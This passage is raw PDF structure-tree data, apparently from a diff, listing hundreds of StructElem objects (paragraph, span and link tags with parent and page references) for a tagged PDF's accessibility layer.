+<< +/K [27 28] +/P 5063 0 R +/Pg 49 0 R +/S /P +/Type /StructElem +>> +endobj +2472 0 obj +<< +/K [29 30] +/P 5064 0 R +/Pg 49 0 R +/S /P +/Type /StructElem +>> +endobj +2473 0 obj +<< +/K [31 32] +/P 5065 0 R +/Pg 49 0 R +/S /P +/Type /StructElem +>> +endobj +2474 0 obj +<< +/K [33] +/P 5066 0 R +/Pg 49 0 R +/S /P +/Type /StructElem +>> +endobj +2475 0 obj +<< +/K [34 35] +/P 5067 0 R +/Pg 49 0 R +/S /P +/Type /StructElem +>> +endobj +2476 0 obj +<< +/K [36] +/P 5068 0 R +/Pg 49 0 R +/S /P +/Type /StructElem +>> +endobj +2477 0 obj +<< +/K [37 38] +/P 5069 0 R +/Pg 49 0 R +/S /P +/Type /StructElem +>> +endobj +2478 0 obj +<< +/K [39 40] +/P 5070 0 R +/Pg 49 0 R +/S /P +/Type /StructElem +>> +endobj +2479 0 obj +<< +/K [41 42] +/P 5071 0 R +/Pg 49 0 R +/S /P +/Type /StructElem +>> +endobj +2480 0 obj +<< +/K [43 44] +/P 5072 0 R +/Pg 49 0 R +/S /P +/Type /StructElem +>> +endobj +2481 0 obj +<< +/K [45 46] +/P 5073 0 R +/Pg 49 0 R +/S /P +/Type /StructElem +>> +endobj +2482 0 obj +<< +/K [47 48] +/P 5074 0 R +/Pg 49 0 R +/S /P +/Type /StructElem +>> +endobj +2483 0 obj +<< +/K [49 50] +/P 5075 0 R +/Pg 49 0 R +/S /P +/Type /StructElem +>> +endobj +2484 0 obj +<< +/K [51 52] +/P 5076 0 R +/Pg 49 0 R +/S /P +/Type /StructElem +>> +endobj +2485 0 obj +<< +/K [53 54] +/P 5077 0 R +/Pg 49 0 R +/S /P +/Type /StructElem +>> +endobj +2486 0 obj +<< +/K [55 56] +/P 5078 0 R +/Pg 49 0 R +/S /P +/Type /StructElem +>> +endobj +2487 0 obj +<< +/K [57 58] +/P 5079 0 R +/Pg 49 0 R +/S /P +/Type /StructElem +>> +endobj +2488 0 obj +<< +/K [59] +/P 5080 0 R +/Pg 49 0 R +/S /P +/Type /StructElem +>> +endobj +2489 0 obj +<< +/K [60 61] +/P 5081 0 R +/Pg 49 0 R +/S /P +/Type /StructElem +>> +endobj +2490 0 obj +<< +/K [62] +/P 5082 0 R +/Pg 49 0 R +/S /P +/Type /StructElem +>> +endobj +2491 0 obj +<< +/K [63 64] +/P 5083 0 R +/Pg 49 0 R +/S /P +/Type /StructElem +>> +endobj +2492 0 obj +<< +/K [65 66] +/P 5084 0 R +/Pg 49 0 R +/S /P +/Type /StructElem +>> +endobj +2493 0 obj +<< +/K [67 68] +/P 5085 0 R +/Pg 49 0 R +/S /P +/Type /StructElem +>> +endobj +2494 0 obj +<< +/K [69 70] +/P 5086 0 R +/Pg 49 0 R +/S /P +/Type /StructElem +>> +endobj +2495 0 obj +<< +/K [71 72] +/P 5087 0 R +/Pg 49 0 R +/S /P +/Type /StructElem +>> +endobj +2496 0 obj +<< +/K [73 74] +/P 5088 0 R +/Pg 49 0 R +/S /P +/Type /StructElem +>> +endobj +2497 0 obj +<< +/K [75 76] +/P 5089 0 R +/Pg 49 0 R +/S /P +/Type /StructElem +>> +endobj +2498 0 obj +<< +/K [77 78] +/P 5090 0 R +/Pg 49 0 R +/S /P +/Type /StructElem +>> +endobj +2499 0 obj +<< +/K [79 80] +/P 5091 0 R +/Pg 49 0 R +/S /P +/Type /StructElem +>> +endobj +2500 0 obj +<< +/K [81 82] +/P 5092 0 R +/Pg 49 0 R +/S /P +/Type /StructElem +>> +endobj +2501 0 obj +<< +/K [83 84] +/P 5093 0 R +/Pg 49 0 R +/S /P +/Type /StructElem +>> +endobj +2502 0 obj +<< +/K [85 86] +/P 5094 0 R +/Pg 49 0 R +/S /P +/Type /StructElem +>> +endobj +2503 0 obj +<< +/K [87 88] +/P 5095 0 R +/Pg 49 0 R +/S /P +/Type /StructElem +>> +endobj +2504 0 obj +<< +/K [89 90] +/P 5096 0 R +/Pg 49 0 R +/S /P +/Type /StructElem +>> +endobj +2505 0 obj +<< +/K [91 92] +/P 5097 0 R +/Pg 49 0 R +/S /P +/Type /StructElem +>> +endobj +2506 0 obj +<< +/K [93] +/P 5098 0 R +/Pg 49 0 R +/S /P +/Type /StructElem +>> +endobj +2507 0 obj +<< +/K [94 95] +/P 5099 0 R +/Pg 49 0 R +/S /P +/Type /StructElem +>> +endobj +2508 0 obj +<< +/K [96] +/P 5100 0 R +/Pg 49 0 R +/S /P +/Type /StructElem +>> +endobj +2509 0 obj +<< +/K [97 98] +/P 5101 0 R +/Pg 49 0 R +/S /P +/Type /StructElem +>> +endobj +2510 0 obj +<< +/K [99 100] +/P 5102 0 R +/Pg 49 0 R +/S /P +/Type /StructElem +>> +endobj +2511 0 obj +<< +/K [101 102] +/P 5103 0 R +/Pg 49 0 R +/S /P +/Type /StructElem +>> +endobj +2512 0 obj +<< +/K [103 104] +/P 5104 0 R +/Pg 49 0 R +/S /P +/Type /StructElem +>> +endobj +2513 0 obj +<< +/K [105 106] +/P 5105 0 R +/Pg 49 0 R +/S /P +/Type /StructElem +>> +endobj +2514 0 obj +<< +/K [107 108] +/P 5106 0 R +/Pg 49 0 R +/S /P +/Type /StructElem +>> +endobj +2515 0 obj +<< +/K [109 110] +/P 5107 0 R +/Pg 49 0 R +/S /P +/Type /StructElem +>> +endobj +2516 0 obj +<< +/K [111 112] +/P 5108 0 R +/Pg 49 0 R +/S /P +/Type /StructElem +>> +endobj +2517 0 obj +<< +/K [113 114] +/P 5109 0 R +/Pg 49 0 R +/S /P +/Type /StructElem +>> +endobj +2518 0 obj +<< +/K [115 116] +/P 5110 0 R +/Pg 49 0 R +/S /P +/Type /StructElem +>> +endobj +2519 0 obj +<< +/K [117 118] +/P 5111 0 R +/Pg 49 0 R +/S /P +/Type /StructElem +>> +endobj +2520 0 obj +<< +/K [119] +/P 5112 0 R +/Pg 49 0 R +/S /P +/Type /StructElem +>> +endobj +2521 0 obj +<< +/K [120] +/P 5113 0 R +/Pg 49 0 R +/S /P +/Type /StructElem +>> +endobj +2522 0 obj +<< +/K [121 122] +/P 5114 0 R +/Pg 49 0 R +/S /P +/Type /StructElem +>> +endobj +2523 0 obj +<< +/K [123 124] +/P 5115 0 R +/Pg 49 0 R +/S /P +/Type /StructElem +>> +endobj +2524 0 obj +<< +/K [5116 0 R 2457 0 R] +/P 5052 0 R +/Pg 49 0 R +/S /Link +/Type /StructElem +>> +endobj +2525 0 obj +<< +/K [5117 0 R 2459 0 R] +/P 5052 0 R +/Pg 49 0 R +/S /Link +/Type /StructElem +>> +endobj +2526 0 obj +<< +/K 0 +/P 5118 0 R +/Pg 50 0 R +/S /Span +/Type /StructElem +>> +endobj +2527 0 obj +<< +/K 1 +/P 5118 0 R +/Pg 50 0 R +/S /Span +/Type /StructElem +>> +endobj +2528 0 obj +<< +/K 2 +/P 2539 0 R +/Pg 50 0 R +/S /Span +/Type /StructElem +>> +endobj +2529 0 obj +<< +/K 3 +/P 5118 0 R +/Pg 50 0 R +/S /Span +/Type /StructElem +>> +endobj +2530 0 obj +<< +/K 4 +/P 2540 0 R +/Pg 50 0 R +/S /Span +/Type /StructElem +>> +endobj +2531 0 obj +<< +/K 5 +/P 5118 0 R +/Pg 50 0 R +/S /Span +/Type /StructElem +>> +endobj +2532 0 obj +<< +/K [6 7] +/P 5119 0 R +/Pg 50 0 R +/S /P +/Type /StructElem +>> +endobj +2533 0 obj +<< +/K [8 9] +/P 5120 0 R +/Pg 50 0 R +/S /P +/Type /StructElem +>> +endobj +2534 0 obj +<< +/K [10 11] +/P 5121 0 R +/Pg 50 0 R +/S /P +/Type /StructElem +>> +endobj +2535 0 obj +<< +/K [12 13] +/P 5122 0 R +/Pg 50 0 R +/S /P +/Type /StructElem +>> +endobj +2536 0 obj +<< +/K [14 15] +/P 5123 0 R +/Pg 50 0 R +/S /P +/Type /StructElem +>> +endobj +2537 0 obj +<< +/K [16 17] +/P 5124 0 R +/Pg 50 0 R +/S /P +/Type /StructElem +>> +endobj +2538 0 obj +<< +/K [18 19] +/P 5125 0 R +/Pg 50 0 R +/S /P +/Type /StructElem +>> +endobj +2539 0 obj +<< +/K [5126 0 R 2528 0 R] +/P 5118 0 R +/Pg 50 0 R +/S /Link +/Type /StructElem +>> +endobj +2540 0 obj +<< +/K [5127 0 R 2530 0 R] +/P 5118 0 R +/Pg 50 0 R +/S /Link +/Type /StructElem +>> +endobj +2541 0 obj +<< +/K 1 +/P 5128 0 R +/Pg 51 0 R +/S /Span +/Type /StructElem +>> +endobj +2542 0 obj +<< +/K 2 +/P 5128 0 R +/Pg 51 0 R +/S /Span +/Type /StructElem +>> +endobj +2543 0 obj +<< +/K 3 +/P 2610 0 R +/Pg 51 0 R +/S /Span +/Type /StructElem +>> +endobj +2544 0 obj +<< +/K 4 +/P 5128 0 R +/Pg 51 0 R +/S /Span +/Type /StructElem +>> +endobj +2545 0 obj +<< +/K 5 +/P 2611 0 R +/Pg 51 0 R +/S /Span +/Type /StructElem +>> +endobj +2546 0 obj +<< +/K 6 +/P 5128 0 R +/Pg 51 0 R +/S /Span +/Type /StructElem +>> +endobj +2547 0 obj +<< +/K [7 8] +/P 5129 0 R +/Pg 51 0 R +/S /P +/Type /StructElem +>> +endobj +2548 0 obj +<< +/K [9 10] +/P 5130 0 R +/Pg 51 0 R +/S /P +/Type /StructElem +>> +endobj +2549 0 obj +<< +/K [11 12] +/P 5131 0 R +/Pg 51 0 R +/S /P +/Type /StructElem +>> +endobj +2550 0 obj +<< +/K [13 14] +/P 5132 0 R +/Pg 51 0 R +/S /P +/Type /StructElem +>> +endobj +2551 0 obj +<< +/K [15 16] +/P 5133 0 R +/Pg 51 0 R +/S /P +/Type /StructElem +>> +endobj +2552 0 obj +<< +/K [17 18] +/P 5134 0 R +/Pg 51 0 R +/S /P +/Type /StructElem +>> +endobj +2553 0 obj +<< +/K [19 20] +/P 5135 0 R +/Pg 51 0 R +/S /P +/Type /StructElem +>> +endobj +2554 0 obj +<< +/K [21 22] +/P 5136 0 R +/Pg 51 0 R +/S /P +/Type /StructElem +>> +endobj +2555 0 obj +<< +/K [23 24] +/P 5137 0 R +/Pg 51 0 R +/S /P +/Type /StructElem +>> +endobj +2556 0 obj +<< +/K [25 26] +/P 5138 0 R +/Pg 51 0 R +/S /P +/Type /StructElem +>> +endobj +2557 0 obj +<< +/K [27 28] +/P 5139 0 R +/Pg 51 0 R +/S /P +/Type /StructElem +>> +endobj +2558 0 obj +<< +/K [29 30] +/P 5140 0 R +/Pg 51 0 R +/S /P +/Type /StructElem +>> +endobj +2559 0 obj +<< +/K [31] +/P 5141 0 R +/Pg 51 0 R +/S /P +/Type /StructElem +>> +endobj +2560 0 obj +<< +/K [32] +/P 5142 0 R +/Pg 51 0 R +/S /P +/Type /StructElem +>> +endobj +2561 0 obj +<< +/K [33] +/P 5143 0 R +/Pg 51 0 R +/S /P +/Type /StructElem +>> +endobj +2562 0 obj +<< +/K [34] +/P 5144 0 R +/Pg 51 0 R +/S /P +/Type /StructElem +>> +endobj +2563 0 obj +<< +/K [35 36] +/P 5145 0 R +/Pg 51 0 R +/S /P +/Type /StructElem +>> +endobj +2564 0 obj +<< +/K [37 38] +/P 5146 0 R +/Pg 51 0 R +/S /P +/Type /StructElem +>> +endobj +2565 0 obj +<< +/K [39 40] +/P 5147 0 R +/Pg 51 0 R +/S /P +/Type /StructElem +>> +endobj +2566 0 obj +<< +/K [41 42] +/P 5148 0 R +/Pg 51 0 R +/S /P +/Type /StructElem +>> +endobj +2567 0 obj +<< +/K [43 44] +/P 5149 0 R +/Pg 51 0 R +/S /P +/Type /StructElem +>> +endobj +2568 0 obj +<< +/K [45 46] +/P 5150 0 R +/Pg 51 0 R +/S /P +/Type /StructElem +>> +endobj +2569 0 obj +<< +/K [47 48] +/P 5151 0 R +/Pg 51 0 R +/S /P +/Type /StructElem +>> +endobj +2570 0 obj +<< +/K [49 50] +/P 5152 0 R +/Pg 51 0 R +/S /P +/Type /StructElem +>> +endobj +2571 0 obj +<< +/K [51 52] +/P 5153 0 R +/Pg 51 0 R +/S /P +/Type /StructElem +>> +endobj +2572 0 obj +<< +/K [53 54] +/P 5154 0 R +/Pg 51 0 R +/S /P +/Type /StructElem +>> +endobj +2573 0 obj +<< +/K [55 56] +/P 5155 0 R +/Pg 51 0 R +/S /P +/Type /StructElem +>> +endobj +2574 0 obj +<< +/K [57] +/P 5156 0 R +/Pg 51 0 R +/S /P +/Type /StructElem +>> +endobj +2575 0 obj +<< +/K [58 59] +/P 5157 0 R +/Pg 51 0 R +/S /P +/Type /StructElem +>> +endobj +2576 0 obj +<< +/K [60] +/P 5158 0 R +/Pg 51 0 R +/S /P +/Type /StructElem +>> +endobj +2577 0 obj +<< +/K [61 62] +/P 5159 0 R +/Pg 51 0 R +/S /P +/Type /StructElem +>> +endobj +2578 0 obj +<< +/K [63 64] +/P 5160 0 R +/Pg 51 0 R +/S /P +/Type /StructElem +>> +endobj +2579 0 obj +<< +/K [65 66] +/P 5161 0 R +/Pg 51 0 R +/S /P +/Type /StructElem +>> +endobj +2580 0 obj +<< +/K [67 68] +/P 5162 0 R +/Pg 51 0 R +/S /P +/Type /StructElem +>> +endobj +2581 0 obj +<< +/K [69 70] +/P 5163 0 R +/Pg 51 0 R +/S /P +/Type /StructElem +>> +endobj +2582 0 obj +<< +/K [71 72] +/P 5164 0 R +/Pg 51 0 R +/S /P +/Type /StructElem +>> +endobj +2583 0 obj +<< +/K [73 74] +/P 5165 0 R +/Pg 51 0 R +/S /P +/Type /StructElem +>> +endobj +2584 0 obj +<< +/K [75 76] +/P 5166 0 R +/Pg 51 0 R +/S /P +/Type /StructElem +>> +endobj +2585 0 obj +<< +/K [77 78] +/P 5167 0 R +/Pg 51 0 R +/S /P +/Type /StructElem +>> +endobj +2586 0 obj +<< +/K [79 80] +/P 5168 0 R +/Pg 51 0 R +/S /P +/Type /StructElem +>> +endobj +2587 0 obj +<< +/K [81 82] +/P 5169 0 R +/Pg 51 0 R +/S /P +/Type /StructElem +>> +endobj +2588 0 obj +<< +/K [83 84] +/P 5170 0 R +/Pg 51 0 R +/S /P +/Type /StructElem +>> +endobj +2589 0 obj +<< +/K [85 86] +/P 5171 0 R +/Pg 51 0 R +/S /P +/Type /StructElem +>> +endobj +2590 0 obj +<< +/K [87 88] +/P 5172 0 R +/Pg 51 0 R +/S /P +/Type /StructElem +>> +endobj +2591 0 obj +<< +/K [89 90] +/P 5173 0 R +/Pg 51 0 R +/S /P +/Type /StructElem +>> +endobj +2592 0 obj +<< +/K [91] +/P 5174 0 R +/Pg 51 0 R +/S /P +/Type /StructElem +>> +endobj +2593 0 obj +<< +/K [92 93] +/P 5175 0 R +/Pg 51 0 R +/S /P +/Type /StructElem +>> +endobj +2594 0 obj +<< +/K [94] +/P 5176 0 R +/Pg 51 0 R +/S /P +/Type /StructElem +>> +endobj +2595 0 obj +<< +/K [95 96] +/P 5177 0 R +/Pg 51 0 R +/S /P +/Type /StructElem +>> +endobj +2596 0 obj +<< +/K [97 98] +/P 5178 0 R +/Pg 51 0 R +/S /P +/Type /StructElem +>> +endobj +2597 0 obj +<< +/K [99 100] +/P 5179 0 R +/Pg 51 0 R +/S /P +/Type /StructElem +>> +endobj +2598 0 obj +<< +/K [101 102] +/P 5180 0 R +/Pg 51 0 R +/S /P +/Type /StructElem +>> +endobj +2599 0 obj +<< +/K [103 104] +/P 5181 0 R +/Pg 51 0 R +/S /P +/Type /StructElem +>> +endobj +2600 0 obj +<< +/K [105 106] +/P 5182 0 R +/Pg 51 0 R +/S /P +/Type /StructElem +>> +endobj +2601 0 obj +<< +/K [107 108] +/P 5183 0 R +/Pg 51 0 R +/S /P +/Type /StructElem +>> +endobj +2602 0 obj +<< +/K [109 110] +/P 5184 0 R +/Pg 51 0 R +/S /P +/Type /StructElem +>> +endobj +2603 0 obj +<< +/K [111 112] +/P 5185 0 R +/Pg 51 0 R +/S /P +/Type /StructElem +>> +endobj +2604 0 obj +<< +/K [113 114] +/P 5186 0 R +/Pg 51 0 R +/S /P +/Type /StructElem +>> +endobj +2605 0 obj +<< +/K [115 116] +/P 5187 0 R +/Pg 51 0 R +/S /P +/Type /StructElem +>> +endobj +2606 0 obj +<< +/K [117] +/P 5188 0 R +/Pg 51 0 R +/S /P +/Type /StructElem +>> +endobj +2607 0 obj +<< +/K [118] +/P 5189 0 R +/Pg 51 0 R +/S /P +/Type /StructElem +>> +endobj +2608 0 obj +<< +/K [119 120] +/P 5190 0 R +/Pg 51 0 R +/S /P +/Type /StructElem +>> +endobj +2609 0 obj +<< +/K [121 122] +/P 5191 0 R +/Pg 51 0 R +/S /P +/Type /StructElem +>> +endobj +2610 0 obj +<< +/K [5192 0 R 2543 0 R] +/P 5128 0 R +/Pg 51 0 R +/S /Link +/Type /StructElem +>> +endobj +2611 0 obj +<< +/K [5193 0 R 2545 0 R] +/P 5128 0 R +/Pg 51 0 R +/S /Link +/Type /StructElem +>> +endobj +2612 0 obj +<< +/K 0 +/P 5194 0 R +/Pg 52 0 R +/S /Span +/Type /StructElem +>> +endobj +2613 0 obj +<< +/K 1 +/P 5194 0 R +/Pg 52 0 R +/S /Span +/Type /StructElem +>> +endobj +2614 0 obj +<< +/K 2 +/P 2625 0 R +/Pg 52 0 R +/S /Span +/Type /StructElem +>> +endobj +2615 0 obj +<< +/K 3 +/P 5194 0 R +/Pg 52 0 R +/S /Span +/Type /StructElem +>> +endobj +2616 0 obj +<< +/K 4 +/P 2626 0 R +/Pg 52 0 R +/S /Span +/Type /StructElem +>> +endobj +2617 0 obj +<< +/K 5 +/P 5194 0 R +/Pg 52 0 R +/S /Span +/Type /StructElem +>> +endobj +2618 0 obj +<< +/K [6 7] +/P 5195 0 R +/Pg 52 0 R +/S /P +/Type /StructElem +>> +endobj +2619 0 obj +<< +/K [8 9] +/P 5196 0 R +/Pg 52 0 R +/S /P +/Type /StructElem +>> +endobj +2620 0 obj +<< +/K [10 11] +/P 5197 0 R +/Pg 52 0 R +/S /P +/Type /StructElem +>> +endobj +2621 0 obj +<< +/K [12 13] +/P 5198 0 R +/Pg 52 0 R +/S /P +/Type /StructElem +>> +endobj +2622 0 obj +<< +/K [14 15] +/P 5199 0 R +/Pg 52 0 R +/S /P +/Type /StructElem +>> +endobj +2623 0 obj +<< +/K [16 17] +/P 5200 0 R +/Pg 52 0 R +/S /P +/Type /StructElem +>> +endobj +2624 0 obj +<< +/K [18] +/P 5201 0 R +/Pg 52 0 R +/S /P +/Type /StructElem +>> +endobj +2625 0 obj +<< +/K [5202 0 R 2614 0 R] +/P 5194 0 R +/Pg 52 0 R +/S /Link +/Type /StructElem +>> +endobj +2626 0 obj +<< +/K [5203 0 R 2616 0 R] +/P 5194 0 R +/Pg 52 0 R +/S /Link +/Type /StructElem +>> +endobj +2627 0 obj +<< +/K 1 +/P 5204 0 R +/Pg 53 0 R +/S /Span +/Type /StructElem +>> +endobj +2628 0 obj +<< +/K 2 +/P 5204 0 R +/Pg 53 0 R +/S /Span +/Type /StructElem +>> +endobj +2629 0 obj +<< +/K 3 +/P 2696 0 R +/Pg 53 0 R +/S /Span +/Type /StructElem +>> +endobj +2630 0 obj +<< +/K 4 +/P 5204 0 R +/Pg 53 0 R +/S /Span +/Type /StructElem +>> +endobj +2631 0 obj +<< +/K 5 +/P 2697 0 R +/Pg 53 0 R +/S /Span +/Type /StructElem +>> +endobj +2632 0 obj +<< +/K 6 +/P 5204 0 R +/Pg 53 0 R +/S /Span +/Type /StructElem +>> +endobj +2633 0 obj +<< +/K [7 8 9] +/P 5205 0 R +/Pg 53 0 R +/S /P +/Type /StructElem +>> +endobj +2634 0 obj +<< +/K [10 11] +/P 5206 0 R +/Pg 53 0 R +/S /P +/Type /StructElem +>> +endobj +2635 0 obj +<< +/K [12 13] +/P 5207 0 R +/Pg 53 0 R +/S /P +/Type /StructElem +>> +endobj +2636 0 obj +<< +/K [14 15] +/P 5208 0 R +/Pg 53 0 R +/S /P +/Type /StructElem +>> +endobj +2637 0 obj +<< +/K [16 17] +/P 5209 0 R +/Pg 53 0 R +/S /P +/Type /StructElem +>> +endobj +2638 0 obj +<< +/K [18 19] +/P 5210 0 R +/Pg 53 0 R +/S /P +/Type /StructElem +>> +endobj +2639 0 obj +<< +/K [20 21] +/P 5211 0 R +/Pg 53 0 R +/S /P +/Type /StructElem +>> +endobj +2640 0 obj +<< +/K [22 23] +/P 5212 0 R +/Pg 53 0 R +/S /P +/Type /StructElem +>> +endobj +2641 0 obj +<< +/K [24 25 26] +/P 5213 0 R +/Pg 53 0 R +/S /P +/Type /StructElem +>> +endobj +2642 0 obj +<< +/K [27 28] +/P 5214 0 R +/Pg 53 0 R +/S /P +/Type /StructElem +>> +endobj +2643 0 obj +<< +/K [29 30] +/P 5215 0 R +/Pg 53 0 R +/S /P +/Type /StructElem +>> +endobj +2644 0 obj +<< +/K [31 32] +/P 5216 0 R +/Pg 53 0 R +/S /P +/Type /StructElem +>> +endobj +2645 0 obj +<< +/K [33 34] +/P 5217 0 R +/Pg 53 0 R +/S /P +/Type /StructElem +>> +endobj +2646 0 obj +<< +/K [35] +/P 5218 0 R +/Pg 53 0 R +/S /P +/Type /StructElem +>> +endobj +2647 0 obj +<< +/K [36 37] +/P 5219 0 R +/Pg 53 0 R +/S /P +/Type /StructElem +>> +endobj +2648 0 obj +<< +/K [38] +/P 5220 0 R +/Pg 53 0 R +/S /P +/Type /StructElem +>> +endobj +2649 0 obj +<< +/K [39 40] +/P 5221 0 R +/Pg 53 0 R +/S /P +/Type /StructElem +>> +endobj +2650 0 obj +<< +/K [41 42] +/P 5222 0 R +/Pg 53 0 R +/S /P +/Type /StructElem +>> +endobj +2651 0 obj +<< +/K [43 44] +/P 5223 0 R +/Pg 53 0 R +/S /P +/Type /StructElem +>> +endobj +2652 0 obj +<< +/K [45 46] +/P 5224 0 R +/Pg 53 0 R +/S /P +/Type /StructElem +>> +endobj +2653 0 obj +<< +/K [47 48] +/P 5225 0 R +/Pg 53 0 R +/S /P +/Type /StructElem +>> +endobj +2654 0 obj +<< +/K [49 50] +/P 5226 0 R +/Pg 53 0 R +/S /P +/Type /StructElem +>> +endobj +2655 0 obj +<< +/K [51 52] +/P 5227 0 R +/Pg 53 0 R +/S /P +/Type /StructElem +>> +endobj +2656 0 obj +<< +/K [53 54] +/P 5228 0 R +/Pg 53 0 R +/S /P +/Type /StructElem +>> +endobj +2657 0 obj +<< +/K [55 56] +/P 5229 0 R +/Pg 53 0 R +/S /P +/Type /StructElem +>> +endobj +2658 0 obj +<< +/K [57 58] +/P 5230 0 R +/Pg 53 0 R +/S /P +/Type /StructElem +>> +endobj +2659 0 obj +<< +/K [59 60] +/P 5231 0 R +/Pg 53 0 R +/S /P +/Type /StructElem +>> +endobj +2660 0 obj +<< +/K [61] +/P 5232 0 R +/Pg 53 0 R +/S /P +/Type /StructElem +>> +endobj +2661 0 obj +<< +/K [62 63] +/P 5233 0 R +/Pg 53 0 R +/S /P +/Type /StructElem +>> +endobj +2662 0 obj +<< +/K [64] +/P 5234 0 R +/Pg 53 0 R +/S /P +/Type /StructElem +>> +endobj +2663 0 obj +<< +/K [65 66] +/P 5235 0 R +/Pg 53 0 R +/S /P +/Type /StructElem +>> +endobj +2664 0 obj +<< +/K [67 68] +/P 5236 0 R +/Pg 53 0 R +/S /P +/Type /StructElem +>> +endobj +2665 0 obj +<< +/K [69 70] +/P 5237 0 R +/Pg 53 0 R +/S /P +/Type /StructElem +>> +endobj +2666 0 obj +<< +/K [71 72] +/P 5238 0 R +/Pg 53 0 R +/S /P +/Type /StructElem +>> +endobj +2667 0 obj +<< +/K [73 74] +/P 5239 0 R +/Pg 53 0 R +/S /P +/Type /StructElem +>> +endobj +2668 0 obj +<< +/K [75 76] +/P 5240 0 R +/Pg 53 0 R +/S /P +/Type /StructElem +>> +endobj +2669 0 obj +<< +/K [77 78] +/P 5241 0 R +/Pg 53 0 R +/S /P +/Type /StructElem +>> +endobj +2670 0 obj +<< +/K [79 80] +/P 5242 0 R +/Pg 53 0 R +/S /P +/Type /StructElem +>> +endobj +2671 0 obj +<< +/K [81 82] +/P 5243 0 R +/Pg 53 0 R +/S /P +/Type /StructElem +>> +endobj +2672 0 obj +<< +/K [83 84] +/P 5244 0 R +/Pg 53 0 R +/S /P +/Type /StructElem +>> +endobj +2673 0 obj +<< +/K [85 86] +/P 5245 0 R +/Pg 53 0 R +/S /P +/Type /StructElem +>> +endobj +2674 0 obj +<< +/K [87 88] +/P 5246 0 R +/Pg 53 0 R +/S /P +/Type /StructElem +>> +endobj +2675 0 obj +<< +/K [89 90] +/P 5247 0 R +/Pg 53 0 R +/S /P +/Type /StructElem +>> +endobj +2676 0 obj +<< +/K [91 92] +/P 5248 0 R +/Pg 53 0 R +/S /P +/Type /StructElem +>> +endobj +2677 0 obj +<< +/K [93 94] +/P 5249 0 R +/Pg 53 0 R +/S /P +/Type /StructElem +>> +endobj +2678 0 obj +<< +/K [95] +/P 5250 0 R +/Pg 53 0 R +/S /P +/Type /StructElem +>> +endobj +2679 0 obj +<< +/K [96 97] +/P 5251 0 R +/Pg 53 0 R +/S /P +/Type /StructElem +>> +endobj +2680 0 obj +<< +/K [98] +/P 5252 0 R +/Pg 53 0 R +/S /P +/Type /StructElem +>> +endobj +2681 0 obj +<< +/K [99 100] +/P 5253 0 R +/Pg 53 0 R +/S /P +/Type /StructElem +>> +endobj +2682 0 obj +<< +/K [101 102] +/P 5254 0 R +/Pg 53 0 R +/S /P +/Type /StructElem +>> +endobj +2683 0 obj +<< +/K [103 104] +/P 5255 0 R +/Pg 53 0 R +/S /P +/Type /StructElem +>> +endobj +2684 0 obj +<< +/K [105 106] +/P 5256 0 R +/Pg 53 0 R +/S /P +/Type /StructElem +>> +endobj +2685 0 obj +<< +/K [107 108] +/P 5257 0 R +/Pg 53 0 R +/S /P +/Type /StructElem +>> +endobj +2686 0 obj +<< +/K [109 110] +/P 5258 0 R +/Pg 53 0 R +/S /P +/Type /StructElem +>> +endobj +2687 0 obj +<< +/K [111 112] +/P 5259 0 R +/Pg 53 0 R +/S /P +/Type /StructElem +>> +endobj +2688 0 obj +<< +/K [113 114] +/P 5260 0 R +/Pg 53 0 R +/S /P +/Type /StructElem +>> +endobj +2689 0 obj +<< +/K [115 116] +/P 5261 0 R +/Pg 53 0 R +/S /P +/Type /StructElem +>> +endobj +2690 0 obj +<< +/K [117 118] +/P 5262 0 R +/Pg 53 0 R +/S /P +/Type /StructElem +>> +endobj +2691 0 obj +<< +/K [119 120] +/P 5263 0 R +/Pg 53 0 R +/S /P +/Type /StructElem +>> +endobj +2692 0 obj +<< +/K [121] +/P 5264 0 R +/Pg 53 0 R +/S /P +/Type /StructElem +>> +endobj +2693 0 obj +<< +/K [122] +/P 5265 0 R +/Pg 53 0 R +/S /P +/Type /StructElem +>> +endobj +2694 0 obj +<< +/K [123] +/P 5266 0 R +/Pg 53 0 R +/S /P +/Type /StructElem +>> +endobj +2695 0 obj +<< +/K [124 125] +/P 5267 0 R +/Pg 53 0 R +/S /P +/Type /StructElem +>> +endobj +2696 0 obj +<< +/K [5268 0 R 2629 0 R] +/P 5204 0 R +/Pg 53 0 R +/S /Link +/Type /StructElem +>> +endobj +2697 0 obj +<< +/K [5269 0 R 2631 0 R] +/P 5204 0 R +/Pg 53 0 R +/S /Link +/Type /StructElem +>> +endobj +2698 0 obj +<< +/K 0 +/P 5270 0 R +/Pg 54 0 R +/S /Span +/Type /StructElem +>> +endobj +2699 0 obj +<< +/K 1 +/P 5270 0 R +/Pg 54 0 R +/S /Span +/Type /StructElem +>> +endobj +2700 0 obj +<< +/K 2 +/P 2732 0 R +/Pg 54 0 R +/S /Span +/Type /StructElem +>> +endobj +2701 0 obj +<< +/K 3 +/P 5270 0 R +/Pg 54 0 R +/S /Span +/Type /StructElem +>> +endobj +2702 0 obj +<< +/K 4 +/P 2733 0 R +/Pg 54 0 R +/S /Span +/Type /StructElem +>> +endobj +2703 0 obj +<< +/K 5 +/P 5270 0 R +/Pg 54 0 R +/S /Span +/Type /StructElem +>> +endobj +2704 0 obj +<< +/K [6 7 8] +/P 5271 0 R +/Pg 54 0 R +/S /P +/Type /StructElem +>> +endobj +2705 0 obj +<< +/K [9 10] +/P 5272 0 R +/Pg 54 0 R +/S /P +/Type /StructElem +>> +endobj +2706 0 obj +<< +/K [11 12] +/P 5273 0 R +/Pg 54 0 R +/S /P +/Type /StructElem +>> +endobj +2707 0 obj +<< +/K [13 14] +/P 5274 0 R +/Pg 54 0 R +/S /P +/Type /StructElem +>> +endobj +2708 0 obj +<< +/K [15 16] +/P 5275 0 R +/Pg 54 0 R +/S /P +/Type /StructElem +>> +endobj +2709 0 obj +<< +/K [17 18] +/P 5276 0 R +/Pg 54 0 R +/S /P +/Type /StructElem +>> +endobj +2710 0 obj +<< +/K [19] +/P 5277 0 R +/Pg 54 0 R +/S /P +/Type /StructElem +>> +endobj +2711 0 obj +<< +/K 26 +/P 5278 0 R +/Pg 54 0 R +/S /Span +/Type /StructElem +>> +endobj +2712 0 obj +<< +/K 27 +/P 5278 0 R +/Pg 54 0 R +/S /Span +/Type /StructElem +>> +endobj +2713 0 obj +<< +/K 28 +/P 2734 0 R +/Pg 54 0 R +/S /Span +/Type /StructElem +>> +endobj +2714 0 obj +<< +/K 29 +/P 5278 0 R +/Pg 54 0 R +/S /Span +/Type /StructElem +>> +endobj +2715 0 obj +<< +/K 30 +/P 2735 0 R +/Pg 54 0 R +/S /Span +/Type /StructElem +>> +endobj +2716 0 obj +<< +/K 31 +/P 5278 0 R +/Pg 54 0 R 